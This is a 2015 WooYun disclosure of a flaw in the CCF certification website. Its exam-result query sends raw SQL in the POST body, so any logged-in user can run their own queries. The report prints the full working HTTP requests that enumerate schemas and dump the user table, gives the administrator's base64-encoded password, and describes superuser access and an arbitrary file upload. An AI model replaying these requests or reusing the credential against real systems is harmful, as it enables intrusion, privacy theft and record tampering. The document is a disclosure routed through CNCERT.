当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105467

漏洞标题:CCF计算机职业资格认证官网沦陷

相关厂商:中国计算机学会

漏洞作者: 刻木

提交时间:2015-04-03 16:47

修复时间:2015-05-23 09:00

公开时间:2015-05-23 09:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-08: 厂商已经确认,细节仅向厂商公开
2015-04-18: 细节向核心白帽子及相关领域专家公开
2015-04-28: 细节向普通白帽子公开
2015-05-08: 细节向实习白帽子公开
2015-05-23: 细节向公众公开

简要描述:

听从学校的安排参加了CCF认证,考完之后信心满满,成绩出来只有310。失望了,最起码让我看看大神们考了多少也好啊。。
网址:www.cspro.org

详细说明:

本人小菜:觉得既然能查到自己的成绩,别人的肯定也能查到吧
于是启动Burp Suite按步跟踪。结果真惊讶了。。
因为需要注册用户才能进行如下步骤,涉及到cookies,所以新注册(www.cspro.org)了一个路人账号操作。

截图00.png


刷新以上页面时将对数据库进行请求。截获请求如下:

POST /lead/servlet/WebBill?key=dataset_fields1 HTTP/1.1
Host: cspro.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://cspro.org/lead/dformsys/testbill/dj/CCF_KS_KSCJ_CX.htm?m=6.709221085555161
Content-Length: 869
Content-Type: text/plain; charset=UTF-8
Cookie: JSESSIONID=96BD0B20B4DFE2A18F3A59F7689FA55F; _yjw_login_user=776F6F79756E74657374; bdshare_firstime=1427956686479; JSESSIONID=CEF2B606E0480DC1625597F27D673B90
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<root><No>select CCS.CANDID,CCS.LEADRICH2,CET.EXREID,CCN.EXAM_DATE,CS.NAME,CE.EXAMNAME,CCN.DICTNAMEID,CDC.ID,CCN.NAME AS CCN_NAME,CET.EXAM_RESULTS,CCS.AUDIT_STATE,CASE CET.ISPASS WHEN '1' THEN '通过' WHEN '0' THEN '未通过' ELSE '' END AS ISPASS,CASE CET.ISPUBLISH WHEN '1' THEN '发布' WHEN '0' THEN '未发布' ELSE '' END AS ISPUBLISH from CCF_CANDIDATE_STATE CCS JOIN CCF_STUDENT CS ON CCS.STUID=CS.STUID JOIN CCF_EXAMINATION CE ON CCS.EXAMID=CE.EXAMID JOIN CCF_CENAME CCN ON CCS.CENAMEID=CCN.CENAMEID JOIN CCF_EXAMRESULT CET ON CCS.CANDID=CET.CANDID JOIN CCF_DICT_CENAME CDC ON CCN.DICTNAMEID=CDC.ID where CS.USERKEY='wooyuntest' and CET.ISPUBLISH='1' </No><No1>1</No1><No2>15</No2><No3>fxk;CANDID;CCN_NAME;EXAMNAME;EXAM_DATE;NAME;CERTNO;EXAM_RESULTS;ISPASS;CARD_STATE;CERTPAY_STATE;sfcjd;JBCZ;LEADRICH2</No3><isSqlActionPage>1</isSqlActionPage></root>


可以看到对数据库的操作竟然是在请求里定义的。于是观察查询的语句。
发现有四个标签:
<No>标签里是查询语句
<No1>标签里不知道是什么
<No2>标签经过试验发现和显示的结果的行数相关。
<No3>设置显示哪些列
因为是mysql数据库,所以肯定有 INFORMATION_SCHEMA 数据库,所以查询一下有哪些数据库,哪些表:

POST /lead/servlet/WebBill?key=dataset_fields1 HTTP/1.1
Host: cspro.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://cspro.org/lead/dformsys/testbill/dj/CCF_KS_KSCJ_CX.htm?m=6.709221085555161
Content-Length: 227
Content-Type: text/plain; charset=UTF-8
Cookie: JSESSIONID=96BD0B20B4DFE2A18F3A59F7689FA55F; _yjw_login_user=776F6F79756E74657374; bdshare_firstime=1427956686479; JSESSIONID=CEF2B606E0480DC1625597F27D673B90
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<root><No>
select * from INFORMATION_SCHEMA.SCHEMATA
</No><No1>1</No1><No2>15</No2><No3>
CATALOG_NAME;SCHEMA_NAME;DEFAULT_CHARACTER_SET_NAME;DEFAULT_COLLATION_NAME;SQL_PATH
</No3><isSqlActionPage>1</isSqlActionPage></root>


注意:只更改<No>标签的查询语句是不能正确显示结果的,要设置显示的列,所以需要知道列名,这个可以从本地的mysql的INFORMATION_SCHEMA表中获取,将表名放在<No3>标签中,查询结果正确显示,下图为数据库查询结果。

截图01.png


接下来用同样的方法获取表名,
获取表之后,要知道表的内容,也需要将<No3>标签设置为表内的列名。
我们以 dbo 数据库和该数据库下的 TBL_ORG_USER表为例,下列语句可以获取列名。

select * from INFORMATION_SCHEMA.COLUMNS where table_schema='dbo' and table_name='TBL_ORG_USER'


但是想正确显示还需要参照本地mysql设置<No3>标签,最终请求如下:

POST /lead/servlet/WebBill?key=dataset_fields1 HTTP/1.1
Host: cspro.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://cspro.org/lead/dformsys/testbill/dj/CCF_KS_KSCJ_CX.htm?m=6.709221085555161
Content-Length: 470
Content-Type: text/plain; charset=UTF-8
Cookie: JSESSIONID=96BD0B20B4DFE2A18F3A59F7689FA55F; _yjw_login_user=776F6F79756E74657374; bdshare_firstime=1427956686479; JSESSIONID=CEF2B606E0480DC1625597F27D673B90
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<root><No>
select * from INFORMATION_SCHEMA.COLUMNS where table_schema='dbo' and table_name='TBL_ORG_USER'
</No><No1>1</No1><No2>15</No2><No3>
TABLE_CATALOG;TABLE_SCHEMA;TABLE_NAME;COLUMN_NAME;ORDINAL_POSITION;COLUMN_DEFAULT;IS_NULLABLE;DATA_TYPE;CHARACTER_MAXIMUM_LENGTH;CHARACTER_OCTET_LENGTH;NUMERIC_PRECISION;NUMERIC_SCALE;CHARACTER_SET_NAME;COLLATION_NAME;COLUMN_TYPE;COLUMN_KEY;EXTRA ;PRIVILEGES;COLUMN_COMMENT
</No3><isSqlActionPage>1</isSqlActionPage></root>


得到表名如下:

截图02.png


现在我们可以查询表的内容了。
查询语句如下,同样根据获得的表名设置了<No3>标签:

POST /lead/servlet/WebBill?key=dataset_fields1 HTTP/1.1
Host: cspro.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://cspro.org/lead/dformsys/testbill/dj/CCF_KS_KSCJ_CX.htm?m=6.709221085555161
Content-Length: 330
Content-Type: text/plain; charset=UTF-8
Cookie: JSESSIONID=96BD0B20B4DFE2A18F3A59F7689FA55F; _yjw_login_user=776F6F79756E74657374; bdshare_firstime=1427956686479; JSESSIONID=CEF2B606E0480DC1625597F27D673B90
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
<root><No>
select * from dbo.TBL_ORG_USER
</No><No1>1</No1><No2>15</No2><No3>
USERID;USERNAME;PASSWORDHASH;DIAPLAYNAME;JOB;SEX;BIRTHDAY;MOBILE;BUSINESSTELEPHONE;BUSINESSTELEPHONE0;BUSINESSTELEPHONE1;BUSINESSFAX;HOMETELEPHONE;EMAIL;EMAIL0;EMAIL1;WEB;JABBERID;MSN;ICQ;EXTEND;SEQ
</No3><isSqlActionPage>1</isSqlActionPage></root>


得到结果:

截图03.png


根据对应关系我们可以得到用户密码:以超级管理员为例。
账户:administrator
加密后的密码:bGVhZHJpY2hxMXcyZTNyNHQ1
拿去cmd5竟然跑不出来!!!这密码太变态了吧!好吧我收回刚才的话,最后发现这竟然只是base64加密的。拿去解密:

截图04.png


可以登录超级管理员了。(还要求必须ie才能正确显示,真恶心)

截图05.png


漏洞证明:

按他自己所说的话10000+考生隐私泄露

截图06.png


可直接更改缴费状态,每个人100块哦

截图07.png


根据http://wooyun.org/bugs/wooyun-2010-091075这个漏洞来看 只要能上传,getshell简单的,这里的导入可上传任意文件

截图08.png


发布信息更改账号什么的:

截图09.png


可更改12000+ CCF会员信息,会费可是不便宜的啊

截图10.png

修复方案:

虽然怀着深深地恶意,但是并未进行任何操作。知道改分数就在不远处然后不改,这让我感觉好多了。。

版权声明:转载请注明来源 刻木@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-04-08 08:59

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无